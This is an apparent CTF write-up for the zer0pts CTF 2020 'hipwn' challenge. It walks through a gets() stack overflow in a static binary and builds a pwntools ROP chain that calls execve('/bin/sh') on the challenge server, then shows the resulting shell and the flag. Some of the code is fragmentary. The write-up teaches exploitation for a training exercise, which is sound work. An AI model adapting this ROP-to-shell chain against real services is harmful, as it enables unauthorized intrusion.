So, we got 2 files in a gzip archive, one which is main.c which is the source code of the binary and chall which is the executable we need to pwn. Let’s check it out:-
1 2 3 4 5 6 7 8 9
#include<stdio.h>
intmain(void){ char name[0x100]; puts("What's your team name?"); gets(name); printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name); return0; }
Looks simple enough, of course we have gets which means we have a buffer overflow vulnerability which seems obvious. Other than that, nothing is really much of a concern. Let’s run file and check the output:-
Damn, it is statically linked which means that all the libc functions which are used in the binary i.e. puts, printf, gets etc. are embedded in the binary itself and it is stripped which means no debugging symbols. Let’s see the binary and run the checksec to see what protections it has:-
1 2 3 4 5 6 7
robin@oracle:~/CTFs$ checksec chall [*] '/home/robin/CTFs/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
If it was dynamically linked binary we could have done something like leak any GOT address and then calculate the offsets to do something like system("/bin/sh"). But since it is statically linked it is pointless approach, we gotta use stuffs which are available in binary itself.
Reverse Engineering the Binary
Time to reverse enginneer the binary so that we could get the address of some useful functions. Let’s check out the main function:-
sub_40062F("What's your team name?"); sub_4004EE(&v1); sub_400591((unsigned __int64)"Hi, %s. Welcome to zer0pts CTF 2020!\n"); return0LL; }
There we go, from source code we know the following things:-
puts("What's your team name?") : sub_40062F("What's your team name?")
gets(name) : sub_4004EE(&v1)
printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name) :sub_400591((unsigned __int64)"Hi, %s. Welcome to zer0pts CTF 2020!\n")
So, now we know that 0x4004EE is the address of the gets and 0x40062F is the address of puts and 0x400591 is the address of the printf, let’s keep this thing in mind and time to pwn it.
Pwning Time
So, my initial step was to use any address from bss to store thw address of /bin/sh and after that make a exceve syscall to spawn a shell. I used pwntools to automate most of the parts like getting the bss address and incrementing it by 0x200 offsets so that the initial address wom’t be overwritten as bss loads IO related informations. Let’s get it done:-
Finding offsets
Finding the offset with gdb-gef‘s de-brujin based pattern search:-
gef➤ pattern create 300 [+] Generating a pattern of 300 bytes aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa [+] Saved as '$_gef1' gef➤ r Starting program: /home/robin/CTFs/chall What's your team name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa Hi, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa. Welcome to zer0pts CTF 2020!
This one does gets(writeable_addr) as in 64 bit binaries rdi has first arguments.
1 2 3
payload += p64(pop_rdi) payload += p64(writable_readable_addr) payload += p64(0x4004EE) # We know the `gets` address from RE part
Doing a execve syscall
Since we have found offsets and chained the rop chain to store /bin/sh in bss address, time to do a execve syscall:-
1 2 3 4 5 6 7 8 9 10
payload += p64(pop_rax) # This one holds the number of which syscall has to done payload += p64(0x3b) # This ensures `rax` contains `0x3b` which means it is doing an `execve` payload += p64(pop_rdi) # Popping `rdi` address payload += p64(writable_readable_addr) # writeable address which has `/bin/sh` is loaded to `rdi` payload += p64(pop_rsi) # Popping `rsi` and `r15` payload += p64(0) # Loading `0` to `rsi` payload += p64(0) # Loading `0` to `r15` payload += p64(pop_rdx) # Popping rdx payload += p64(0) # We will load to `0` to `rdx` payload += p64(syscall) # Adding `syscall; ret;` at last to request syscall
We are doing execve("/bin/sh", 0, 0) to spawn a shell.
#p = process("./chall") p = connect("18.179.178.246", 9010)
p.sendlineafter("?\n", payload) p.sendline(b"/bin/sh\x00") # Sending this to stdin which means the `writable_readable_addr` will have `/bin/sh`
p.interactive()
Running the exploit:-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
robin@oracle:~/CTFs$ python hipwn_xpl.py [*] '/home/robin/CTFs/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 18.179.178.246 on port 9010: Done [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt zer0pts{welcome_yokoso_osooseyo_huanying_dobropozhalovat} $
Yay, we got this. I hope you learned something. Encontered any issues? Contact @D4mianWayne